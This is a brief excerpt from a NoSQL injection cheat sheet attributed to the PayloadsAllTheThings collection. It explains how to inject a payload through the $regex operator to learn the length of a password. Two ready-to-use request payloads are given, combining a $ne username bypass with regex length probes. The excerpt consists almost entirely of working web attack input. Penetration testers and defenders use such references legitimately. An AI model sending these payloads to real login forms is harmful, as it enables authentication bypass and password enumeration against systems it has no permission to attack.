Inject a payload using the $regex operator. The injection will work when the length is correct.
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}Source: NoSQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.